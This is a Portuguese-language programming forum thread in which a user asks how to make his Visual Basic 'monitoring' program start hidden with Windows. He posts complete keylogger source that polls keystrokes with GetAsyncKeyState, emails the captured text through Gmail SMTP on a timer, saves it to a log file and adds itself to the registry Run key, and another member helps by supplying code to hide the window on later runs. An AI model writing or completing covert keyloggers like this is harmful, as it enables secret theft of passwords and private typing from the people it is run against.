COMO FAZER PROGRAMA INICIAR OCULTO QUANDO WINDOWS?

TIAGO2012 02/03/2012 04:44:40
#396225
Ola estou fazendo um programa de monitoramento no visual basic 2008, bom criei um botão HIDE para ocultar a janela do programa e coloquei codigo para que ele inicie junto com o windows mas o meu problema é que quando o windows inicia abre a janela do programa! Alguem poderia me ajudar, passando o codigo que quando o windows iniciar ele não apareça e fique de forma oculta?
TIAGO2012 02/03/2012 14:08:39
#396278
obrigado, mas fica sublinhado... esta correto?


Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
tbLog.Text = [Ô]Started at: [Ô] & Now & vbNewLine

Form1.Visible = False
Form1.showstatusbar = False

End Sub
PHOENIX209E 02/03/2012 14:54:56
#396287
Coloque isso no evento Shown,no form_load nao vai funcionar:

Private Sub FRM_PRODUTO_FORNECEDOR_Shown(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Shown
Me.Visible = false
End Sub
TIAGO2012 02/03/2012 21:09:54
#396343
Obrigado pela dica, fiz assim mas o programa não funcionou.. bom na janela do programa tem dois botões um HIDE para ocultar a janela e outro INICIAR quando clico nele ele cria o registro para iniciar junto com windows... sendo assim colocando esse code quando tento abrir ele abre e some mto rapido não da tempo para clicar no iniciar para criar o registro, queria que quando eu executasse ele abrisse normal sem fechar ai eu clico no botão para criar o registro e depois sim por meio de algum botão fazer ele ficar oculto e não aparecer quando iniciar o windows..
TIAGO2012 02/03/2012 21:21:28
#396345
Talvez usando um checkbox para marcar opção de ocultar quando iniciar o windows?
PHOENIX209E 03/03/2012 11:20:33
#396367
Resposta escolhida
Toda vez que o programa executar,vai ficar abrindo e ter opção pra executar o hide,entao faça o seguinte:
Logo no Load Form coloca este codigo;

SaveSetting([Ô]USER[Ô],[Ô]COD[Ô],[Ô]HIDE[Ô],1)

Faz gravar no registro do windows na chave HKEY_CURRENT_USER\Software\VB AND VBA APPLICATIONS\

Blz.

Crie uma função pra checar essa chave:

Function f_checkChave() as Boolean
On Error Resume Next
If (GetSetting(My.Application.Info.AssemblyName, [Ô]HIDE[Ô], [Ô]MODE[Ô]) = 1) Then
Return True
Else
Return False
End If
End Function

No form_load ele seta os parametros do registro

SaveSetting(My.Application.Info.AssemblyName, [Ô]HIDE[Ô], [Ô]MODE[Ô], 1)

e no Form_Shown ele chama a função:

If (f_hide()) Then
Me.Visible = False
End If

O form vai ser aberto da primeira vez,depois que setar o itens na chave ele vai verificar se ja foi executado,se sim abre em oculto
TIAGO2012 03/03/2012 14:00:20
#396373
Obrigado pela dica mas sou leigo em programação to todo enrolado aqui não entendi como fazer isso criar a function f_checkchave...

ele cria o log.txt no diretorio C:\HP\Log.txt[Ô], tbLog.Text pode alterar e só colocar o email e pronto... nesse caso tem que criar antes a pasta HP..

Da uma olhada no meu code, se puder ajudar..

Propriedades:

primeiro eu coloquei o botão e mudei os nomes nas propriedades depois criei outro botão que no caso fica de botao 1

button1, text = Hide
name = btnHide
---------------------
button1, text = Iniciar
---------------------
textebox, name = tbLog
---------------------
timer1, name = timerKeys
enabled = true
interval = 5
--------------------
timer2, name = timerSave
enabled = true
interval = 4500000 (manda email em intervalo de 1 hora e 15 minutos)
-------------------
Meu code:

Option Strict On
Imports Microsoft.Win32
Imports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Public Declare Function GetAsyncKeyState Lib [Ô]user32[Ô] (ByVal vkey As Long) As Integer
Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For

End If
Next i

If key <> Nothing Then

If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
tbLog.Text &= key
Else
tbLog.Text &= key.ToLower

End If
End If

If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = [Ô]Z[Ô] Then
Me.Show()
End If


End Sub
Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
Me.Hide()
End Sub
Private Sub timerSave_Tick() Handles timerSave.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential([Ô]seu@gmail.com[Ô], [Ô]senhadogmail[Ô])
SmtpServer.Port = 587
SmtpServer.Host = [Ô]smtp.gmail.com[Ô]
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add([Ô]seu@gmail.com[Ô])
mail.From = New MailAddress([Ô]seu@gmail.com[Ô])
mail.Subject = [Ô]Keylogger[Ô]
mail.Body = tbLog.Text
SmtpServer.Send(mail)
My.Computer.FileSystem.WriteAllText([Ô]C:\HP\Log.txt[Ô], tbLog.Text, True)
tbLog.Clear()
End Sub
Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
tbLog.Text &= vbNewLine & [Ô]Closed at: [Ô] & Now & vbNewLine
timerSave_Tick()
End Sub


Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
tbLog.Text = [Ô]Started at: [Ô] & Now & vbNewLine

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim regKey As Microsoft.Win32.RegistryKey
Dim Keyname As String = [Ô]Software\Microsoft\Windows\CurrentVersion\Run[Ô]
Dim Valuename As String = Me.Text
Dim value As String = Application.ExecutablePath
regKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(Keyname, True)
regKey.SetValue(Valuename, value, RegistryValueKind.String)
End Sub


End Class
PHOENIX209E 03/03/2012 14:37:12
#396375
entendi,voce ta fazendo um monitorador de teclas correto?
da Alt + Z o form fica visivel né?
entao.
o codigo que eu passei acima serve pra quando voce executar o programa pela primeira vez,o form principal fica visivel,e se executado outras vezes o form fica invisivel.

a função checkchave serve pra verificar se o programa ja foi executado,caso positivo ele retorna um [Ô]True[Ô] verdadeiro OK.
Pra ele criar a psta HP voce coloca este codigo no form_load,ou cria uma sub.

Ou voce coloca simplesmente dentro do form_load:

[ô]Ele procura pela pasta HP
[ô]A pasta existe?
If (Directory.Exists([Ô]C:\HP[Ô]) = False) Then
[ô]nao,entao cria
Directory.CreateDirectory([Ô]C:\HP[Ô])
End If

pro form ficar invisivel use o codigo
me.visible = false
TIAGO2012 03/03/2012 16:04:34
#396380
Ok tentei usar seu codigo mas to todo perdido não sei onde colocar ele...

seria assim?

Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
tbLog.Text = [Ô]Started at: [Ô] & Now & vbNewLine

SaveSetting([Ô]USER[Ô],[Ô]COD[Ô],[Ô]HIDE[Ô],1)
SaveSetting(My.Application.Info.AssemblyName, [Ô]HIDE[Ô], [Ô]MODE[Ô], 1)

End Sub

Private Sub Form1_Shown(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Shown

If (f_hide()) Then
Me.Visible = False

End If

End Sub

e como eu coloco também esse codigo: onde crio essa função?


Function f_checkChave() as Boolean
On Error Resume Next
If (GetSetting(My.Application.Info.AssemblyName, [Ô]HIDE[Ô], [Ô]MODE[Ô]) = 1) Then
Return True
Else
Return False
End If
End Function
Página 1 de 2 [15 registro(s)]
Tópico encerrado , respostas não são mais permitidas